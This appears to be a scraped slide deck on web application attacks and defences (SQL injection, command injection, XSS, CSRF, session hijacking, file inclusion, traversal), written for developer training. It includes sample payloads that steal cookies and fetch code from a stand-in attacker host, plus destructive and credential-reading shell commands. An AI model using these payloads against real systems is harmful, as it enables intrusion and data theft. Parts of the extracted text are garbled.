Attques web

LOGO
Web Security attacks and solutions
Cybersecurity attacks
Eng.Tarek MOHAMED
tarekmed.rachdi@gmail.com
ISO 27001 LA, ISO 27001 LI, ISO 27005 RM,MEHARI ADVANCED,CEH,CHFI,ECSP

 During the development process, the majority focuses on enriching the features
on accelerating the development process and reduce costs, while ignoring the evil
consequences of this rhythm of development on the safety of the product.
 Attackers are increasingly successful in exploiting the vulnerabilities and the
weakness left by the developers.
 The Top 10 attacks and risks for web application:
 Injection
 Broken Authentication and Session Management
 Cross-Site Scripting (XSS)
 Insecure Direct Object References
 Security Misconfiguration
 Sensitive Data Exposure
 Missing Function Level Access Control
 Cross-Site Request Forgery (CSRF)
 Using Components with Known Vulnerabilities
 Unvalidated Redirects and Forwards
Introduction

Introduction: Statistics
Source : Zone-H

Source : Zone-H
2011

Source : Zone-H
Novembre 2011

Introduction: The Security, Functionality, and Usability Triangle

Introduction: Application attacks evolution
75 %
90 %
25 %
10 %
% Attacks % spending
GARTNER Study
75% of attacks targeting the application layer
66% of web applications are vulnerable
Web Application
Components Networks
SANS Study

3 of 4 business websites
are vulnerable to attacks
Introduction: Application attacks evolution

Introduction: How is a Hacker?

Web design
•ASP
•Java
•PHP
•JSP
•Perl
•CGI
•…
•ADO
•ODBC
•…
•SQL Server
•Oracle
•MySql
•Postgres
•…
WEB APPLICATION
•Microsoft IIS
•Apache
•…
Web Server BD

HTTP protocol
http://www.le-site.com/
Request
GET /index.html HTTP/1.0
Host : www.site.com
HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Sun, 9 Fev 2006 10:46:17 GMT
Content-length: 324
Content-type: text/html
Last-modified: Tue, 14
Dec 2005 16:38:08 GMT
Connection: close
<blank line>
<html> <head></head>
<body>
Welcom to web Site.
</body>
</html>

HTTP protocol
HTTP Methods
GET
Requests using GET should only retrieve data and
should have no other effect.
Form variables stored in URL
HEAD
Same as GET, but transfers the status line and header
section only.
Return information about the document header (File
size, modification date, server version)
POST
A POST request is used to send data to the server, for
example, customer information, file upload, etc. using
HTML forms.
Form variables sent as content of HTTP request
PUT
Replaces all current representations of the target
resource with the uploaded content.
DELETE
Removes all current representations of the
target resource given by a URI.
OPTIONS
Describes the communication options for the target
resource.
TRACE
The TRACE method echoes the received request so
that a client can see what (if any) changes or
additions have been made by intermediate
servers.
CONNECT
Establishes a tunnel to the server identified by a given
URI.
(example SSL)

HTTP protocol
HTTP - Status Codes
S.N. Code and Description
1 1xx: Informational
t means the request has been received and the process is continuing.
2 2xx: Success
It means the action was successfully received, understood, and accepted.
3 3xx: Redirection
It means further action must be taken in order to complete the request.
4 4xx: Client Error
It means the request contains incorrect syntax or cannot be fulfilled.
5 5xx: Server Error
It means the server failed to fulfill an apparently valid request.

HTTP protocol
Web Application
http:// www.site.com/client/ login.php? login=acheteur&password=pass2006
http://www.site.com/client/login.php?login=acheteur&password=pass2006
•Microsoft IIS
•Apache
•…
•ASP
•Java
•PHP
•JSP
•Perl
•CGI
•…
•ADO
•ODBC
•…
•SQL Server
•Oracle
•MySql
•Postgres
•…
Web
Server
DB
Request

HTTP protocol
 Parameters types:
 Paramerters GET:In an HTTP GET request, parameters are sent as a
query string:http://example.com/page?parameter=value&also=another
 Paramerters POST: In an HTTP POST request, the parameters are not
sent along with the URI.
 Paramerters Cookies: Variables retained by the browser on your hard drive and
generally provided by the server .

The main problem in recent years : application
-90% of intrusive tests : application
-≃ 100% of cases : presence of exploitable vulnerabilities
Why ?
Fast changing in the web technology(Web 2.0, Web Services ...)
Too little secutity awareness and trainaing for the developers
Handling the security aspects too late
Lack of time and budget
⇒ Production start with exploitable vulnerabilities.
web application are the easy door for hackers

Webshell ?
Malicious web page that provides attacker functionality:
− File transfer
− Command execution
− Network reconnaissance
− Database connectivity
− …
Server-side scripting
− PHP, ASP, ASPX, JSP, CFM, etc…

Firewall
80
HTTP
Webshell
Spam
Base des
données
Serveur
d’applications
Routeur/commutateu
r
Webshell ?

Get a file on a web server
External attack vectors
− RFI
− SQL injection
− File upload
− Exposed admin interface
Low “barrier to entry”
− Lots of publicly available malware
− Lots of web app vulnerabilities
− Trivial to use
Webshell ?

Injection
• Tricking an application into including unintended commands
in the data sent to an interpreter
Injection
• Take strings and interpret them as commands
• SQL, OS Shell, LDAP, XPath, etc…
Interpreter
• Technical:Injection can result in data loss or corruption,
lack of accountability, or denial of access.
• Business: All data could be stolen, modified, or deleted.
Could your reputation be harmed?
Impact

SQL Injection
 technique that allows attackers to inject SQL queries
directly on the database that is behind a Web server, by manipulating
the input "INPUT" to an application.
Example : a login page "login.asp", the user is prompted to enter a
user name "User1" and password "pass2015", this operation results in
the form of a SQL query:
SELECT * FROM Users WHERE user='User1' and password=
'pass2015'

SQL Injection
This request must return to the application one or more fields
from the database. Suppose the user enter the value of the user
name value 'or 1 = 1-- "the request will be in the form
SELECT * FROM Users WHERE user=' or 1=1-- and
password =''

SQL Injection
In the case of SQL Server, "--" is used to post a comment to the
end of the line, the request would be
SELECT * FROM Users WHERE user= “ or 1=1
The query will return all the fields in the user table and the
attacker would be authenticated.
The attacker was successful as to authenticate without using a
user name or password.

DB
User:
Pass:
‘ or 1=1 #
connection.php
Admin.php
Etc…
Example
SQL Injection

Access
With admin privilege
Example
SQL Injection

SQL INJECTION – Prevention
Recommandations
1. Use an interface that supports bind variables (e.g., prepared
statements, or stored procedures),
2. Bind variables allow the interpreter to distinguish between
code and data
3. Encode all user input before passing it to the interpreter
4. Always perform ‘white list’ input validation on all user
supplied input
5. Always minimize database privileges to reduce the impact of
a flaw
-For more details, read the :
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

Command Injection/Injection OS
Command injection attack consists :
- To inject and execute some commands by the attacker in the
vulnerable application.
- However, the commands are executed on the target server and
the attacker has a partial or full access to the hosting server.
- The attacker can add their own code to the existing code to
extend the application of the default functionality without the
need to run system commands.

44
<?php
echo system("ls -1 *.".$_GET['ext']);
listing.php ?>
/listing.php?ext=php;cd/;rm+-Rf+*
1
cnx.php
index.php
connectBase.php
listing.php
2 ls -1 *. php;cd/;rm+-Rf+*
3
4
/
5

Example Language: Java
...
String ping= request.getParameter ("cmd");
java.lang.Runtime.getRuntime().exec(ping);
...
An attacker execute arbitrary commands with hight privileges
by injecting through the application for example in the input
ping arbitrary code eg "10.10.10.10 | cat / etc / shadow" to
display all the passwords of system users crypted in MD5.

Solution:
 Avoid using functions that could call shell commands.
 When you use functions which could call shell
commands, check all input parameters that do not
contain system commands.

Cross site scripting
&
Cross-Site Request Forgery

 This technique is to inject Javascript, VB, ActiveX, through
web browser the aim to access to informations, cookies,
configuration ...
 The XSS attack primarily affects the user, and in some cases
can even execute commands on the machine.
 No effective protection client-side just you must disable the
execution of java scripts, ActiveX making navigation difficult.
Cross site scripting(XSS)

 These data are can be:
 Stored in database
 Reflected from web input (form field, hidden field, URL, etc…)
 Sent directly into rich JavaScript clientVirtuellement toute
application Web est vulnérable
 Try this in your browser
 javascript:alert(‘’XSS’’);
 javascript:alert(document.cookie);
 Impact:
 Steal user’s session, steal sensitive data, rewrite web page,
redirect user to phishing or malware site
 Most Severe: Install XSS proxy which allows attacker to observe
and direct all user’s behavior on vulnerable site and force user to
other sites

Muscat
No pages were found: Muscat
Search engine
classic scenario
Go..

Moteur de recherche
<script>alert(“Test")</script>">
Scénario classique
Go..

AD:
Email :
Ok Cancel
Internet
<script>document.location=‘’http://www.
attacker.com/virus.exe</script>
Hacker
attaquant@xxxxx.com

Internet
http://www.attacker.com/virus.exe
victim
WWW.attacker.com

29
1.Example XSS
 Attack stored on the web server
XSS sent by the hacker
Smith <script
src=http://hack.com/bad.js>
</script>
XSS
XSS
Web
Application SGBD
nom tarek<script src=http://hack.com/bad.js></script>
mail Tarek.med@hack.com

30
1.Example XSS
 XSS sent by the hacker
 access to a resource causes the execution XSS
admin.
1 GET liste_inscrits.php
XSS
Web
Application
Smith <script src=http://hack.com /bad.js
</script>
XSS
SGBD
2
Smith <script src=http://hack.com/bad.js></</script>

31
1.Example XSS
admin.
1 GET listeinscrits.php
XSS
3
Web
Application
Smith <script
</script>
XSS
SGBD
2
Smith <script src=http://hack.com/bad.js></script>
GET http://hack.com/bad.js
Hack.com

32
1.Example XSS
admin.
XSS
3
Web
Application
Smith <script
</script>
XSS
SGBD
2
document.write(‘<img src=http://hack.com/bad.php?’+document.cookie+’ width=1>’) 4
c.js
Hack.com

33
1.Example XSS
admin.
1 GET listeinscrits.php
XSS
3
Web
Application
Smith <script
</script>
XSS
SGBD
2
5
document.write('<img src=http://hack.com/bad.php?'+document.cookie+' width=1>')
GET http://hack.com/bad.php?idsess=akkmm98g56x
4
bad.js
Hack.com

34
1.Example XSS
admin.
XSS
3
Web
Application
Smith <script
</script>
XSS
SGBD
2
5
vol de session idsess=akkmm98g56x 6
document.write('<img src=http://hack.com/bad.php?'+document.cookie+' width=1>') 4
GET http://hack.com/bad.php?idsess=akkmm98g56x c.js
Hack.com

35
2. Example XSS
 Reflected Attack
 Pirate establish a XSS (email, web page link)
1
XSS
2
XSS
1

36
2.Exemple XSS
 Internet user: XSS sends to the server (click on a link in email
/ page, automatic download of a resource?)
1
2
XSS
3
XSS
1
XSS
2
XSS
3

37
2. Example XSS
 Web server: Receive and return the XSS
1
2
XSS
3
XSS
4
1
XSS
XSS
2
XSS
3
4
XSS

38
2. Example XSS
 Web browser : execute XSS
1
2
XSS
3
XSS
4
1
XSS
XSS
2
XSS
3
4
XSS
 Web server: Receive and return the XSS

(AntiSamy)
XSS– Prevention
Recommendations
• Eliminate Flaw
• Don’t include user supplied input in the output page
• Defend Against the Flaw
• Use Content Security Policy (CSP)
• Primary Recommendation: Output encode all user supplied input (Use
OWASP’s ESAPI or Java Encoders to output encode)
https://www.owasp.org/index.php/ESAPI
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
• Perform ‘white list’ input validation on all user input to be included in page
• For large chunks of user supplied HTML, use OWASP’s AntiSamy to sanitize
this HTML to make it safe
See: https://www.owasp.org/index.php/AntiSamy
References
• For how to output encode properly, read the https://www.owasp.org/index.php/XSS_(Cross
Site Scripting) Prevention Cheat Sheet

Solution:
 The XSS can be prevented during the application development phase. It should
validate all INPUT and OUTPUT of the application; remove all the special
characters will be used in a script.
 The XSS can be avoided if the application replaces special characters with those
listed below before posting them on the browser:
< <
> >
( (
) )
# #
& &
 There are already available functions according to the language used
 HtmlEncode() – ASP
 Htmlentities() – PHP
 Taglibs ou la classe javax.swing.text.html – J2EE
 escapeHTML() – Perl
 For how to output encode properly, read the https://www.owasp.org/index.php/XSS_(Cross
Site Scripting) Prevention Cheat Sheet
XSS– Prevention

Cross Site Request Forgery (CSRF)
• An attack where the victim’s browser is tricked into issuing a
command to a vulnerable web application
• •Vulnerability is caused by browsers automatically including user
authentication data (session ID, IP address, Windows domain
credentials, …) with each request
• What if a hacker could steer your mouse and get you to click on
links in your online banking application?
• What could they make you do?
Imagine…
• Initiate transactions (transfer funds, logout user, close account)
• Access sensitive data
• Change account details
Impact

53
Add comment
…
<img src='article.php?id=3&action=del'
width='0'>
…
1
Malicious user
<img
src='article.php?id=3&action=del'
width='0'>
SGBD

54
Add comment
…
width='0'>
…
1
malicious user
2 GET article.php?id=3&action=read
illegitimate user
<img
width='0'>
SGBD

55
Ajouter un commentaire
…
width='0'>
…
1
malicious user
3
illegitimate user <img src='article.php?id=3&action=del' width='0'>
<img
width='0'>
SGBD

56
Add comment
…
width='0'>
…
1
membre d’un
site protégé 3
membre d’un <img src='article.php?id=3&action=del' width='0'>
site protégé
GET http://.../article.php?id=3&action=del
4
<img
width='0'>
SGBD

• Add a secret, not automatically submitted, token to ALL sensitive requests
–This makes it impossible for the attacker to spoof the request
•(unless there’s an XSS hole in your application)
–Tokens should be cryptographically strong or random
•Options
–Store a single token in the session and add it to all forms and links
•Hidden Field: <input name="token" value="687965fdfaew87agrde"
type="hidden"/>
•Single use URL: /accounts/687965fdfaew87agrde
•Form Token: /accounts?auth=687965fdfaew87agrde …
–Beware exposing the token in a referer header
•Hidden fields are recommended
–Can have a unique token for each function
•Use a hash of function name, session id, and a secret
–Can require secondary authentication for sensitive functions (e.g., eTrade)
•Don’t allow attackers to store attacks on your site
–Properly encode all input on the way out
–This renders all links/requests inert in most interpreters
See the: www.owasp.org/index.php/CSRF_Prevention_Cheat_Sheet
for more details
CSRF– Prevention

Broken Authentication and Session Management
• Means credentials have to go with every request
• Should use SSL for everything requiring authentication
HTTP is a “stateless” protocol
• SESSION ID used to track state since HTTP doesn’t
• and it is just as good as credentials to an attacker
• SESSION ID is typically exposed on the network, in browser, in
logs, …
Session management flaws
• Change my password, remember my password, forgot my
password, secret question, logout, email address, etc…
Beware the side-doors
• User accounts compromised or user sessions hijacked
Impact

Broken Authentication Illustrated
Custom Code
Accounts
Finance
Administration
Transactions
Communication
Knowledge
Mgmt
E-Commerce
Bus.Functions
1 User sends credentials
2
(Site uses URL rewriting
(i.e., put session in URL)
3 User clicks on a link to
http://www.hacker.com in a forum
www.boi.com?JSESSIONID=9FA1DB9EA...
4
Hacker checks referrer logs on
www.hacker.com
and finds user’s JSESSIONID
5
Hacker uses JSESSIONID
and takes over victim’s
account

Avoiding Broken Authentication and Session Management
 Verify your architecture
 Authentication should be simple, centralized, and standardized
 Use the standard session id provided by your container
 Be sure SSL protects both credentials and session id at all times
 Verify the implementation
 Forget automated analysis approaches
 Check your SSL certificate
 Examine all the authentication-related functions
 Verify that logoff actually destroys the session
 Follow the guidance from
https://www.owasp.org/index.php/Authentication_Cheat_Sheet

58
 Session based on a unique identifier
1
3
login=zorro&passwd=paszorro
sessid=21000
sessid=21000
Hi Zorro 2
article=12&action=del
Session hijacking

59
 Diverting a session id = provide a valid
1
3
login=zorro&passwd=paszorro
sessid=21000
sessid=21000
sessid=21000
Hi Zorro 2
article=12&action=display
article=5&action=del
Session hijacking

60
 Identifier transmitted by:
 Cookie
 URL (query string)
 Hidden form imput
Session hijacking

61
 Identifier transmitted by cookie, URL, form field.
 Attacker get a valid identifier
 Prediction
id = integer incremented
Session hijacking

 Theft
o id in the URL (history, bookmark, logs, email sending, ..
o cookie theft (XSS, public computer)
o interception (Network Sniffer)
Session hijacking
 Identifier transmitted by cookie, URL, form field.
 Attacker get a valid identifier
 Prediction
id = integer incremented

The vulnerabilities authentication
and authorization

Brute Force:
Brute force attacks work by calculating every possible combination that could make up a password
and testing it to see if it is the correct password. This means short passwords can usually be
discovered quite quickly, but longer passwords may take decades.
Exemple:
Username = Jon
Passwords = smith, michael-jordan, [pet names], [birthdays],
[car
names], ….
Usernames = Jon, Dan, Ed, Sara, Barbara, …..
Password = 12345678
2 types:
Normal:
reversed:
Login Password
Login Password
N1
N 1
Brute force

Insufficient Authentication
Insufficient Authentication occurs when a web site permits an attacker to
access sensitive content or functionality without having to properly
authenticate. Web-based administration tools are a good example of
web sites providing access to sensitive functionality. Depending on the
specific online resource, these web applications should not be directly
accessible without requiring the user to properly verify their identity.This
approach to security is called "Security Through Obscurity".
Exemple:
Many web applications have been designed with administrative
functionality located directly off of the root directory (/admin/). This
directory is usually never linked from anywhere on the web site, but
can still be accessed using a standard web browser. The user or
developer never expected anyone to view this page because it is not
linked, so enforcing authentication is many times overlooked. If
attackers were to simply visit this page, they would obtain complete
administrative access to the web site.
Insufficient Authentication

Insufficient Authorization:
When a user is authenticated to a web site, it does not necessarily mean that the
user should have full access to all content and functionality.
Exemple:
Same example as /admin/ but after authenticate.
Insufficient Authorization

 Privilege escalation is the act of exploiting a bug, design flaw or
configuration oversight in an operating system or software
application to gain elevated access to resources that are normally
protected from an application or user.
 The result is that an application with more privileges than
intended by the application developer or system administrator can
perform unauthorized actions.
 Production:
 Exploiting bugs
 Maintain access
 Impact:
 Access to system resources.
 ID Theft.
 Setting up a backdoor
Privilege escalation

Privilege escalation occurs in two forms:
 Vertical escalation: Obtain more privileges (Administrator Role).
• User A has access to his bank account in a internet baking .
• The vulnerability occurs when the user A accesses to the internet banking
administrator account by doing same malicious activity.
 Horizontal escalation: Carry out actions or access resources on other user
accounts have the same privilege.
• User A has access to their own bank account in an Internet Banking
application.
• User B has access to their own bank account in the same Internet Banking
application.
• The vulnerability occurs when User A is able to access User B's bank
account by performing some sort of malicious activity.
Privilege escalation

Insecure Direct Object References
• This is part of enforcing proper “Authorization”, along with
Failure to Restrict URL Access
How do you protect access to your data?
• Only listing the ‘authorized’ objects for the current user, or
• Hiding the object references in hidden fields
• … and then not enforcing these restrictions on the server
side
• This is called presentation layer access control, and doesn’t
work
• Attacker simply tampers with parameter value
A common mistake …
• Users are able to access unauthorized files or data
Impact

 The attacker notices
the parameter acct =
6065
?acct=6065
 the hacker modifies
the following manner
?acct=6066
 The hacker shows
another account
https://www.onlinebank.com/user?acct=
6065

 The attacker notices the
URL (the role is
displayed)
/user/getAccounts
 The attacker alter the
URL (role)
/admin/getAccounts, or
/manager/getAccounts
 The hacker have more
privilege
https://www.onlinebank.com/user/getAccountshttps://www.onlinebank.com/user/getAccounts
https://www.onlinebank.com/user/getAccountshttps://www.onlinebank.com/user/getAccounts

Directory indexing:
Listing / indexing Automatic of a directory is a web server
function that lists all the files in a requested directory if the base
file (index.html / home.html / default.htm) is not present.
critical information can be obtained.
Example:
Présence de fichiers .bak .old et même des .conf .config
Directory indexing

 The include file technique can execute dynamic code
hosted on a remote server on the target server,
 Using an include () function is the same to make a
simple copy-paste: the code of the called file is
inserted into the calling page, in the exact place
where the function is located.
 This attack was born following the wrong call
parameters by the function include ().
Remote File Include

45
<?php
afficheFormCommande();
?>
commande.php
3
2
test.php?p=commande
1 <?php
require($_GET['p'].".php");
?>
test.php

46
Injection du caractère null 0
test.php?p=http://hack.com/bad.txt%00
1
test.php
<?php
?>

47
hack.com
GET bad.txt
2
1
test.php
<?php
?>

48
<?php
echo system('cd /tmp; ls;
wget http://hack.com/exec; ls');
hack.com
GET bad.txt
2
1
bad.txt
3
?>
<?php
?>
test.php <?php
?>

49
<?php
hack.com
GET bad.txt
2
1
bad.txt
3
4
?>
cd /tmp; ls
<?php
?>
test.php <?php
/tmp
?>

50
<?php
hack.com
GET bad.txt
2
bad.txt
3
exec
?>
5
1
4 wget http://hack.com/exec
<?php
?>
test.php <?php /tmp
?>

Example :
<?php
# def des constantes
$file = "toto.php";
#pour avoir un register global
if (isset($HTTP_GET_VARS)) {
while(list($var,$val)=each($HTTP_GET_VARS)) {
$$var=$val;}}
#include de la lib toto.php
include ($file);
?>
A call type: GET /index.php?file=
‘code_hostile.txt’ will result to execute
arbitrary PHP code on the server.
Remote File Include

file Insert:
<?php
if(isset($_GET['page']))
{include $_GET['page'].'.php';}
else
{include 'accueil.php';}
?>
Remote File include:
•Remote inclusion of file.
•The remote execution of source files (PHP, JSP, ASP, ...) on your web
server
WEBSHELL install on your server: Total Control, system commands
Remote Execution ..
http://www.monsite.com/index.php?page=http://www.pirate.com/moncode
Remote File Include

A path traversal attack (also known as directory traversal) aims to access
files and directories that are stored outside the web root folder. By
manipulating variables that reference files with “dot-dot-slash (../)” sequences
and its variations or by using absolute file paths, it may be possible to access
arbitrary files and directories stored on file system including application
source code or configuration and critical system files.
This attack is also known as “dot-dot-slash”, “directory traversal”, “directory
climbing” and “backtracking”.
http://www.monsite.com/ ../../../../../etc/passwd
Directory traversal

Remote File Upload:
• Generally the site have a page to upload images, CVs, articles, etc ...
•Absence or insufficiency of control over the types of files to upload.
•The hacker trying to upload files (PHP, JSP, ASP, etc ..) to have control
on the remote web server.
 La Remote File upload is a door that allows an attacker to access the web
server:
-totale access.
-Access to OS.
-theft criticals informations(Passwords,customer portfolios, etc..)
Remote file upload

File manupilation– Prevention
 Recommandations
 Block the path of the files located below the website
directory(chroot mechanism);
 Disable the display of files in a directory not containing index
file ( "Directory Browsing");
 Delete unnecessary files and directories (including hidden
files);
 Make sure the server protects access to directories containing
sensitive data;

Denie de service
Denial of Service
The Denial of Service (DoS) attack is focused on making a
resource (site, application, server) unavailable for the purpose it
was designed.
There are many ways to make a service unavailable for legitimate
users by manipulating network packets, programming, logical, or
resources handling vulnerabilities, among others.
Example:
Using SQL injection to erase the contents of the database of a
website.

Abuse of functionality
Abuse of functionality:
Abuse of functionality, sometimes referred to as a "business logic
attack", depends on the design and implementation for
application functions and features. As functionality is added to
applications, thought must be given to how the function or
feature can be manipulated to circumvent the business process,
or abused to perform a function not intended by the developer.
Example:
-Using a send-mail form to generate spam
http://example/cgi-
bin/FormMail.pl?destinataire=email.victime@victim.example
&message=vous%20avez%20été%20spammé

Insufficient Anti-automation:
• Insufficient Anti-automation occurs when a web application permits an attacker to automate a
process that was originally designed to be performed only in a manual fashion, i.e. by a human web
user.
• Web application functionality that is often a target for automation attacks may include:
• Application login forms – attackers may automate brute force login requests in an attempt
to guess user credentials
• Service registration forms – attackers may automatically create thousands of new accounts
• Email forms – attackers may exploit email forms as spam relays or for flooding a certain
user’s mailbox
• Account maintenance – attackers may perform mass DoS against an application, by
flooding it with numerous requests to disable or delete user accounts
• Forms tied to SQL database queries - these may be exploited in order to perform a denial of
service attack against the application. The attack is performed by sending numerous heavy
SQL queries in a short period of time, hence denying real users from service.
• Web-based SMS message sending - attackers may exploit SMS message sending systems in
order to spam mobile phone users

Example:
-An application that allows users to view their account details, by directly accessing a URL similar to
the following:
http://www.some.site/app/accountDetails.aspx?UserID=XYZ
-Where XYZ denotes an Account ID number.
-If the application issues predictable (or enumerable) Account ID numbers, and also does not employ
anti-automation mechanisms, an attacker could write an automated script, which would submit
massive amounts of HTTP requests, each with a different Account ID number, and then harvest user
account information from the response page.
-In this example, the application suffered from several vulnerabilities, all of which contributed to the
success of the attack :
-Insufficient Anti-automation: web users were allowed to submit a large amount of service
requests, without any mechanism to limit them. For example, After 3 invalid attempts, the IP
address should have been blocked for a "chilling period", or should require that the user will contact the
service provider over the phone
-Insufficient Authentication: unauthenticated web users were allowed to access sensitive application
functionality

-CAPTCHA:A common practice for protecting against automation attacks is the implementation of
CAPTCHA mechanisms in web applications. CAPTCHA stands for "Completely Automated Public
Turing test to Tell Computers and Humans Apart“.
-Provide configurable per-user/session request rate limits, For example, an administrator should be
allowed to combine "10 requests per minute" with "500 requests per day" in order to simultaneously
apply policies which prevent users from automatic crawling/screen scraping as well as longer-term
slow leeching activities.
Abuse of functionality/Insufficient Anti-automation
Prevention

Security Misconfiguration
• We think to networks, systems and platforms
• We must not forget the development environments
Web applications rely on a secure foundation
• Think of all the places your source code goes
• Security should not require secret source code
• All credentials should change in production
Is your source code a secret?
• Install backdoor through missing OS or server patch
• Unauthorized access to default accounts, application functionality or
data, or unused but accessible functionality due to poor server
configuration
Impact

Hardened OS
Web Server
App Server
Framework
Security Misconfiguration Illustrated
App Configuration
Custom Code
Accounts
Finance
Administration
Transactions
Communication
KnowledgeMgmt
E-Commerce
Bus.Functions
Test Servers
QA Servers
Source Control
Development
Database
Insider

Avoiding Security Misconfiguration
• Verify your system’s configuration management
 Secure configuration “hardening” guideline
• Automation is REALLY USEFUL here
 Must cover entire platform and application
 Analyze security effects of changes
• Can you “dump” the application configuration
 Build reporting into your process
 If you can’t verify it, it isn’t secure
• Verify the implementation
 Scanning finds generic configuration and missing
patch problems

It is the act of tricking someone into giving confidential
information (like passwords and credit card information) on
a fake web page or email form pretending to come from a
legitimate company (like their bank).
For example: Sending an e-mail to a user falsely
claiming to be an established legitimate enterprise in an
attempt to scam the user into surrendering private
information that will be used for identity theft.
Phishing

Security programming
best practices

 SQL injection vulnerabilities are commuted at source code
during application programming:
 software developers create dynamic database queries that
include the input provided by the user.
To avoid SQL injection attacks is simple. Developers should
be:
a) stopped writing dynamic queries, and / or,
b) prevent the entry provided by the user that contains SQL verbs
How to prevent SQL Injection

Primary Defenses:
Option #1: Use of Prepared Statements (Parameterized
Queries)
Option #2: Use of Stored Procedures
Option #3: Escaping all User Supplied Input
Additional Defenses:
Also Enforce: Least Privilege
Also Perform: White List Input Validation

Option #1: Use of Prepared Statements (Parameterized Queries)
Parameterized queries force the developer to first define all the
SQL code, and then pass in each parameter to the query later.
Java EE – use PreparedStatement() with bind variables
.NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
PHP – use PDO with strongly typed parameterized queries (using bindParam())

Example #1: Prepared Statements

JavaPreparedStatementExample
SelectRecordsUsingPreparedStatement
SQLINJECTION–Commentseprotéger

C# .NET Prepared Statement Example
String query = "SELECT account_balance FROM user_data WHERE user_name
= ?";
try {
OleDbCommand command = new OleDbCommand(query, connection);
command.Parameters.Add(new OleDbParameter("customerName",
CustomerName Name.Text));
OleDbDataReader reader = command.ExecuteReader(); // … }
catch (OleDbException se) { // error handling }

Option 2: Stored Procedures
 The difference between prepared statements and stored
procedures is that the SQL code for a stored procedure is
defined and stored in the database itself, and then called from
the application.
 Both of these techniques have the same effectiveness in
preventing SQL injection so your organization should choose
which approach makes the most sense for you.

Example PHP-Stored Procedures
Developers may also specify parameters that hold values both input and
output; the syntax is similar to output parameters. In this next example, the
string 'hello' is passed into the stored procedure, and when it returns, hello is
replaced with the return value of the procedure.

 Option #3: Escaping all User Supplied Input :
PHP:
addslashes() :
The addslashes() function returns a string with backslashes in front of predefined
characters.
The predefined characters are:single quote ('),double quote ("),backslash (),NULL
mysql_real_escape_string:
Escapes special characters in a string for use in an SQL statement
ereg :
The ereg function apply a regular expression on a chain for example to validate
an identity card number : ereg("^[0-9]{8}$", @$num). (prevent SQL injection
and XSS)
Validations des types des inputs:
The following functions allows us to verify the types of inputs after their
manipulation: is_ array ,is_ binary ,is_ bool ,is_ buffer ,is_ callable ,is_
double ,is_ float ,is_ int , is_ integer ,is_ long ,is_ null ,is_ numeric ,is_
object ,is_ real ,is_ resource ,is_ scalar , is_ string , is_ unicode.

 Solution: la validateur du Struts.
Use the Struts libraries that allows us to validate all data types
(org.apache.commons.validator.routines) and which contains for example:
 Date and Time Validators,
 Numeric Validators ,
 Regular Expression validation
 General Code Validation
 ISBN Validation
 IP Address Validation
 Email Address Validation
 URL Validation
 Domain Name Validation
 This library allows us to avoid all types ofsql injection ,XSS, injection du
code,file include etc..
*For more information:
link: http://commons.apache.org/validator/apidocs/org/apache/commons/validator/routines/package-
summary.html#package_description

PHP:
• htmlentities() , htmlspecialchars():
htmlentities($ch), htmlspecialchars($ch) converts all special characters to their HTML
entity.
Example :
– "&" becomes"&"
– """ becomes"" " or "'"
– "<" becomes "<"
– ">" becomes ">"
Java: Struts validator.
Dot.Net:
• HTMLEncode :
server.HTMLEncode converts all special characters to their HTML entity.
Example: server.HTMLEncode("<") becomes <
• IsNumeric :test if an entry is digital and this helps us to avoid SQL injection in the type numeric
field.
Microsoft Anti-Cross Site Scripting Library:
AntiXSSLibrary.HtmlEncode et AntiXSSLibrary. UrlEncode
 let the following characters: (. a-z A-Z 0-9, - _ '') anf all other characters will be encoded.
Prevent XSS

PHP:file_exists:
Returns true if the filename exists and FALSE if not. (prevent the file include).
Prevent File manupilation
Insertion de fichier(File include vulnerability
):
<?php
if(isset($_GET['page']))
else
{include 'accueil.php';}
?>
<?php
if(isset($_GET['page']) AND file_exists($_GET['page'].'.php'))
else
{
include 'accueil.php';
}
?>
Java:
boolean exists = (new File("filename")).exists();
if (exists) { // File or directory exists }
else { // File or directory does not exist }
Dot.net:
if ( File.Exists(file name) )
{ // File or directory exists }

website administration
best practices

Side "application"
1) Securing the hosting platform:
 Update and server hardening.
 Network intrusion detection.
 Host intrusion detection (HIDS).
 Anti-Virus detection
 application filtering

Side "application"
2) Monitoring and reviews the platform access logs :
 Administrators logs
 Public Access logs,

Side "application"
3. Backup of sensitive data :
 Source code,
 Databases,

Side "application"
4) Application validation:
 After insert or add new services ... by a third entity.
 Pentest the application before it online :
 At this phase all the documentation relating to the
application must be requested (Design, Structure,
Architecture)

Side "application"
5) Regular Security audit :
 Application,
 Web sever,

Side "application"
6) Implement a business continuity plan:
 virtualization.
 Others solutions.

Side «Webmaster»
1) Securing the webmaster station's website::
 Install and update an antivirus solution
 Update applications and operating system
(security patch)
 Install up a personal firewall

Side «Webmaster»
2) Webmaster station physical security :
 Using an anti-theft device
 System Lock in case of non-use
 Data encryption

Side «Webmaster»
3) Passwords management :
 periodically changing passwords
 secure storage of passwords if necessary
 Protecting passwords against disclosure

Side «Webmaster»
4) Access control:
 Restrict access to administration (by IP
address, e-certificate)
 Using the secure administration methods
(SSH, SCP, ...)

Side «Webmaster»
5) Defline Security Advisory Alerts and Warnings:
 To be updated of new vulnerabilities.
 Apply security patches in optimal time.
 To guarantee its flow the OCERT website.

Hardening web hosting
platform

vulture,
modsecurity
FirewallExternal network
Hosted Application
HTTP
Mail
FTP
DNS
P2P
HTTPS
Autres
Web
server
DB
Web Application
Web
Firewall
Green SQL
Hardening web hosting platform

Hardening web hosting platform
 CIS Security Secure Configuration Benchmarks
https://benchmarks.cisecurity.org/downloads/browse/index.cfm?category=benchmarks
 NIST hardening standards
https://web.nvd.nist.gov/view/ncp/repository
 editor official website
 Windows
 Linux
 Oracle
 Apache
 MySQL
 Etc. …..

Attques web

Recommandé

Recommandé

Contenu connexe

Tendances

Tendances (20)

En vedette

En vedette (6)

Similaire à Attques web

Similaire à Attques web (20)

Dernier

Dernier (20)

Attques web